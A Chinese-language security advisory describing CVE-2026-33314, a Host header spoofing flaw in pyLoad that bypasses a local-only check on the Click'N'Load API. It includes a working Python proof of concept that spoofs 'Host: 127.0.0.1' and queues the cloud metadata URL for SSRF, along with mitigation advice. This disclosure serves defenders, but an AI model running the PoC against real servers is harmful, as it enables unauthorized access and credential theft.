IPBUF安全漏洞报告
English
CVE-2026-33314 CVSS 6.5 中危

CVE-2026-33314 pyLoad主机头伪造漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33314
漏洞类型
主机头伪造
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
pyLoad

相关标签

主机头伪造SSRFDoSpyLoad未授权访问

漏洞概述

pyLoad是一款开源下载管理器,其在0.5.0b3.dev97版本前存在主机头伪造漏洞。由于@local_check装饰器验证逻辑缺陷,未经认证的攻击者可伪造Host头绕过本地限制,访问Click'N'Load API。利用此漏洞,攻击者可远程添加恶意下载任务,导致服务器端请求伪造(SSRF)或拒绝服务(DoS)。

技术细节

该漏洞源于pyLoad的@local_check装饰器在进行来源校验时,仅检查HTTP请求头中的Host字段,未严格验证实际的网络连接来源。远程攻击者可以通过构造包含伪造Host头(例如Host: 127.0.0.1)的请求包,欺骗服务器认为请求来自本地回环地址,从而绕过安全限制。成功绕过后,攻击者可访问本应受保护的Click'N'Load API端点。利用该功能,攻击者能够向下载队列中注入任意URL。若指向内网敏感资源(如file://协议或内网HTTP服务),可触发SSRF攻击;若添加大量恶意下载任务,则可耗尽服务器带宽与存储空间,导致拒绝服务。

攻击链分析

STEP 1
1. 信息收集
攻击者识别互联网上暴露的pyLoad下载管理器实例。
STEP 2
2. 构造恶意请求
攻击者构造针对Click'N'Load API端点的HTTP POST请求,并将Host头部设置为127.0.0.1。
STEP 3
3. 绕过本地限制
pyLoad服务器接收请求,@local_check装饰器检测到Host为127.0.0.1,误判为本地请求,放行流量。
STEP 4
4. 执行攻击
API接受攻击者提交的下载参数。若提交内网IP,则发生SSRF;若提交海量任务,则发生DoS。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_poc(target_url, ssrf_target): """ PoC for CVE-2026-33314: pyLoad Host Header Spoofing """ # The Click'N'Load API endpoint usually resides here api_endpoint = f"{target_url}/api/cnl" # Spoof the Host header to bypass @local_check decorator headers = { "Host": "127.0.0.1", "User-Agent": "CVE-2026-33314-Exploit" } # Payload to queue a download (can be internal resource for SSRF) data = { "urls": ssrf_target, "package": "PoC_Exploit" } try: print(f"[*] Sending request to {api_endpoint} with spoofed Host header...") response = requests.post(api_endpoint, headers=headers, data=data, timeout=5) if response.status_code == 200: print("[+] Request successful! Payload likely queued.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://<vulnerable-pyload-host>:8000" # Replace with internal target for SSRF (e.g., http://127.0.0.1:80) internal_target = "http://169.254.169.254/latest/meta-data/" exploit_poc(target, internal_target)

影响范围

pyLoad < 0.5.0b3.dev97

防御指南

临时缓解措施
如果无法立即升级,建议通过网络防火墙限制对pyLoad服务端口的访问,仅允许可信IP地址连接。同时,在应用网关处配置规则,丢弃Host头中包含内网IP地址(如127.0.0.1, localhost)的外部请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表